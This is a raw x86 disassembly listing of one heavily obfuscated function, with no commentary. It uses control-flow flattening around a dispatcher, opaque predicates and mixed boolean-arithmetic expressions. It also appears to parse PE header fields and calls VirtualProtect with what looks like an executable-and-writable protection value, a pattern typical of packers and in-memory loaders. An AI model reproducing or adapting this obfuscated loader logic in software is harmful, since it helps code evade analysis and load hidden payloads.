xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
mov ch, al
or al, cl
xor dl, 1
xor al, 1
xor ch, cl
or al, dl
mov edx, 0x3c45c24f
mov cl, al
xor cl, ch
test al, 1
mov eax, 0xe9a8c2a1
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0xe9a8c2a1
cmove eax, edx
jmp 0x401100
mov eax, 0x1f9b71d6
jmp 0x401100
mov eax, 0x1b21e447
jmp 0x401100
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x1000204
mov esi, eax
mov edi, eax
or esi, 0x62a805d0
and edx, 0x63a807d4
and edi, 0x5822
and eax, 0x1a1887aa
or edi, edx
mov edx, ecx
and esi, 0x63a807d4
and edx, 0x9c57a009
and ecx, 0xe5e77855
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xad912d4b
and esi, 0x526ed2b4
or edx, esi
mov esi, edx
xor esi, 0xa1800a8
xor edx, 0x30c68f47
mov edi, edx
and edi, 0xe5e77855
and esi, 0x1a1887aa
or esi, edi
xor eax, esi
mov esi, 0xf3701a3a
not eax
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x508180], 0xa
setl ah
setge al
or ah, cl
mov ecx, eax
or al, dl
xor cl, dl
xor ah, 1
xor al, 1
and cl, dl
or al, ah
xor cl, 1
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xd2734c62
cmovne eax, esi
test dl, dl
mov edx, 0xd2734c62
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x401100
cmp dword [ebp - 0x108], 0
mov eax, dword [0x508184]
mov esi, 0xd9ff8eea
mov edi, 0xd9ff8eea
lea ecx, [eax + 1]
setne byte [ebp - 0x87]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1e9ac330
mov edx, eax
and eax, 0xe1653ccf
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xe1653cce
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x3186229c
and ecx, 0xce79dd63
or ecx, edx
xor ecx, 0xce79dd63
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x508180], 0xa
mov ch, dl
setl al
setge cl
and dl, al
and ch, cl
and al, ah
or al, ch
xor al, 1
or al, cl
and cl, ah
or cl, dl
mov ch, al
mov edx, ecx
not ch
and cl, al
xor dl, 1
or al, dl
and dl, ch
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x9cb44498
cmovne esi, ecx
test dl, dl
mov ecx, esi
cmovne ecx, edi
jmp 0x40e679
mov eax, 0xfd6879bc
jmp 0x401100
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0xd45d0ff1
jmp 0x401100
mov eax, 0x79ef880b
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa729d678
mov esi, edx
and esi, 0x58d62987
and edx, 0x9465f861
or ecx, esi
mov esi, ecx
xor ecx, 0x18520000
xor esi, 0x20005420
or ecx, 0x40aca9df
and esi, 0x28025420
mov edi, ecx
and edi, 0xd7f58287
or esi, edi
mov edi, eax
xor edi, 0xbf535620
and edi, eax
and eax, 0x6b9a079e
mov ebx, edi
not ebx
and edi, 0x280a7d78
or eax, edx
or ecx, ebx
and ebx, 0xd7f58287
xor eax, 0x6b9a079e
or edi, ebx
not ecx
mov ebx, 0xb418ae5e
xor edi, esi
mov esi, 0x3418fc65
or ecx, edi
not edi
and edi, 0x40aca9de
and ecx, 0xbf535621
or ecx, edi
mov edi, 0xb418ae5e
not ecx
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp dword [0x508180], 0xa
mov ecx, edx
setge al
mov ah, al
or al, dl
xor ah, dl
xor al, 1
and cl, ah
not ah
and ah, dl
xor cl, 1
or al, ah
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, al
mov eax, ebx
cmovne eax, edi
test dl, dl
mov edx, dword [ebp - 0x1c]
cmovne eax, ebx
mov dword [ebp - 0x13c], edx
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x71dde6c6
mov esi, edx
and esi, 0x8e221939
mov edi, edx
or edi, 0x4833c17
and edx, 0xf8ab18d7
or ecx, esi
and edi, 0x348bfc7f
mov esi, ecx
xor ecx, 0x4021811
xor esi, 0x1140280
or ecx, 0x3008c068
and esi, 0x89140280
and ecx, 0x348bfc7f
or esi, ecx
mov ecx, eax
and ecx, 0x42600100
and eax, 0x754e728
or ecx, edi
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0x8d973e96
and esi, 0x7268c169
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x2b658bef
and esi, 0xd49a7410
or ecx, esi
mov esi, ecx
xor esi, 0xb000367
xor ecx, 0xd49a7410
mov edx, ecx
and edx, 0x64e7dc88
and esi, 0x9b182377
or esi, edx
mov edx, eax
xor edx, 0x3102320
xor eax, 0xf8ab18d7
or ecx, eax
and eax, 0x64e7dc88
and edx, 0x9b182377
or edx, eax
not ecx
xor edx, esi
mov esi, 0x49df3ffc
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x244a84be
and eax, 0xdbb57b41
or ecx, eax
xor ecx, 0x244a84be
setne dl
sete ah
cmp dword [0x508180], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
mov ah, cl
or dl, ch
xor ah, al
xor dl, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xd35d090a
cmovne eax, esi
test dl, 1
mov edx, 0xd35d090a
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
mov eax, dword [0x508184]
mov edi, 0xd5d76501
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x4d5720ec
mov eax, edx
and eax, 0x1472024
and ecx, edx
not edx
and edx, 0x4c1000c8
or eax, edx
mov edx, eax
xor edx, 0x1070000
xor eax, 0xfeb8dfdb
mov esi, eax
and esi, 0xf870e3fd
and edx, 0x5070000
or edx, esi
mov esi, ecx
not esi
and ecx, 0x78f1c02
or eax, esi
and esi, 0xf870e3fd
or ecx, esi
not eax
mov esi, 0x5aa1e4c6
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4d5720ec
and ecx, 0xb2a8df13
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x1db7b228
and eax, 0x24997f93
and edx, 0xe2484dd7
or ecx, edx
mov edx, ecx
xor edx, 0x19268028
xor ecx, 0xe2484dd6
and edx, 0xdb66806c
and ecx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0x39f9da4c
and edx, 0xc60625b3
or eax, edx
xor eax, 0xe29f5a21
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xe000e8
mov edx, eax
and edx, 0x1a0a5611
and eax, 0xe515a906
or ecx, edx
xor ecx, 0xe000e8
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa7eb1570
and ecx, 0x5814ea8f
or eax, ecx
mov ecx, eax
xor ecx, 0xa50a1400
xor eax, 0x5004a207
and eax, 0x52e5a377
and ecx, 0xad1a5c88
or ecx, eax
xor ecx, 0xad1a5c88
sete al
setne cl
cmp dword [0x508180], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
xor dl, 1
xor al, 1
mov cl, ah
or al, dl
xor cl, al
xor al, 1
or al, ah
mov edx, ecx
xor dl, al
not dl
test dl, 1
cmovne edi, esi
test cl, cl
mov esi, 0xd5d76501
cmovne esi, edi
test al, al
cmovne esi, edi
mov eax, esi
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xeb874643
and edx, 0xeb874643
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xeb874642
and edx, 0x1478b9bd
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xbf5ea8e3
xor edx, ecx
test edx, ecx
setne ch
sete al
cmp dword [0x508180], 0xa
mov cl, ch
setge ah
setl dl
inc cl
or al, ah
or ch, dl
mov dh, al
or al, ch
xor dh, ch
mov ch, ah
xor al, 1
xor ch, cl
xor cl, dl
or al, dh
and ch, ah
mov dl, ch
xor ch, cl
xor cl, 1
xor dl, 1
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x52170a34
cmovne ecx, esi
test al, 1
mov eax, 0x52170a34
cmovne eax, ecx
jmp 0x40bf50
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x2394813e
mov esi, ecx
and esi, 0xdc6b7ec1
and ecx, 0x28b6e9b9
or eax, esi
mov esi, eax
xor eax, 0x9c2346c0
xor esi, 0x22000002
or eax, 0x40ccb91d
and esi, 0xaa000442
mov edi, eax
and edi, 0x15b372b4
or esi, edi
mov edi, edx
xor edi, 0xbf3346e2
and edi, edx
mov ebx, edi
not ebx
and edi, 0xea4c8d4b
or eax, ebx
and ebx, 0x15b372b4
or edi, ebx
not eax
xor edi, esi
or eax, edi
not edi
and edi, 0x40ccb91c
and eax, 0xbf3346e3
or eax, edi
mov esi, eax
not esi
and eax, 0xf5da0f5
and esi, 0xf0a25f0a
or eax, esi
mov esi, eax
xor esi, 0x814a0b1
xor eax, 0xf0a25f0a
mov edi, eax
or eax, edx
and edx, 0xd7491646
and edi, 0xd7491646
and esi, 0x28b6e9b9
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x1f890249
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7818d39a
and ecx, 0x87e72c65
or eax, ecx
cmp eax, 0x7818d39a
sete dl
cmp dword [0x508180], 0xa
setl ah
mov cl, ah
mov al, ah
or cl, dl
xor al, dl
xor cl, 1
and dl, al
or cl, al
and al, ah
mov ah, dl
xor dl, al
xor ah, 1
xor al, 1
or al, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor ah, cl
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xcd1726f0
cmovne eax, esi
test dl, 1
mov edx, 0xcd1726f0
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xdc]
mov eax, 0xaf9000c8
jmp 0x401100
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x48]
inc eax
mov dword [ecx], eax
mov eax, 0x15b8d66e
jmp 0x401100
mov eax, 0xe373a8f8
jmp 0x401100
mov eax, 0x332685e3
jmp 0x401100
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, 0xfd3e0249
jmp 0x401100
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x12a9210e
mov esi, eax
mov edi, eax
or esi, 0xa1401410
and edx, 0xb3e9351e
and edi, 0x24061
and eax, 0x66e98e32
or edi, edx
mov edx, ecx
and esi, 0xb3e9351e
and edx, 0x4c148a80
and ecx, 0x991671cd
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x482fb5de
and esi, 0xb7d04a21
or edx, esi
mov esi, edx
xor esi, 0x60698022
xor edx, 0x16921e51
mov edi, edx
and edi, 0x991671cd
and esi, 0x66e98e32
or esi, edi
xor eax, esi
mov esi, 0x16e2590
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x508180], 0xa
setge ch
setl al
mov cl, ch
and al, dl
xor cl, ah
and ah, ch
or al, ah
and cl, ch
or cl, al
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x978db466
cmovne esi, ecx
test dl, dl
mov ecx, 0x16e2590
cmovne ecx, esi
test al, al
cmovne ecx, esi
mov eax, ecx
jmp 0x401100
mov eax, dword [ebp - 0xf8]
mov eax, 0x43b039b6
jmp 0x401100
mov eax, 0xdc5ece78
jmp 0x401100
cmp dword [ebp - 0x1a8], 0
mov eax, 0xfb1490a9
mov ecx, 0xf459a95a
cmove eax, ecx
jmp 0x401100
mov eax, dword [ebp - 0x24]
mov ecx, dword [0x508184]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xf1dad4b0
mov esi, eax
or esi, 0x12a4a
and ecx, eax
and esi, 0x2081ba6a
and edx, 0xd15a4490
or edx, esi
mov esi, ecx
not esi
and ecx, 0xdf7e4595
or eax, esi
and esi, 0x2081ba6a
or ecx, esi
not eax
mov esi, 0x1a74cd4c
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xe252b4f
and eax, 0xf1dad4b0
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x82cf2a86
and eax, 0x7d30d579
or eax, edx
xor eax, 0x7d30d578
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x91be7149
and ecx, 0x6e418eb6
or eax, ecx
cmp eax, 0x91be7149
sete dl
cmp dword [0x508180], 0xa
setl ah
setge cl
mov al, ah
inc cl
xor al, dl
mov ch, al
and al, ah
and ch, dl
mov ah, ch
xor ch, al
xor al, 1
xor ah, 1
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
xor al, 1
xor cl, 1
mov dl, ah
or al, ch
xor dl, cl
or cl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, dl
mov dl, ah
mov ch, cl
xor ah, cl
xor cl, 1
and dl, cl
or cl, al
and ch, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, 0x1d53a6de
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x1d53a6de
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401100
mov eax, 0xa8e44cec
jmp 0x401100
mov eax, 0xae7572cc
jmp 0x401100
mov eax, 0xf268cc9a
jmp 0x401100
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
movzx ecx, word [eax]
shr ecx, 0xc
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xd
and edx, 0xffffbdfd
and eax, ecx
or eax, edx
mov edx, eax
not edx
and eax, 0xffffbdfe
and edx, 0x4201
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn esi, ecx, edx
or eax, esi
not eax
or eax, edx
not eax
movzx eax, ax
mov dword [ebp - 0x158], eax
mov eax, 0x8fcd2629
jmp 0x401100
mov eax, dword [ebp - 0xd8]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0xd4]
cmp ecx, eax
mov ecx, dword [0x508184]
setl byte [ebp - 0x7b]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xd69310fa
and eax, 0x65202b0f
mov esi, edx
and esi, 0x296cef05
and edx, 0x9adfd4f0
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x296cef04
and esi, 0xd69310fb
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x44a101de
mov esi, edx
and esi, 0xbb5efe21
or ecx, esi
mov esi, eax
xor esi, 0x4420010e
xor eax, 0x9a5ed420
and eax, 0xbb5efe21
and esi, 0x44a101de
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x139573ed
sete al
setne ah
cmp dword [0x508180], 0xa
setl ch
setge dl
or al, dl
or ch, ah
or dl, ah
mov ah, al
or al, ch
mov cl, dl
xor ah, ch
xor al, 1
xor cl, 1
or al, ah
mov ah, dl
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe46a4c1b
cmovne edx, esi
test al, 1
mov eax, 0xe46a4c1b
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x401100
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, 0x6754ad08
jmp 0x401100
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x1c4]
push dword [ebp - 0x1c8]
push dword [ebp - 0x18]
push dword [ebp - 0x14]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov eax, 0x428a8ca
jmp 0x401100
cmp eax, 0xd9547d64
jne 0x401100
mov esi, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00445ab0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret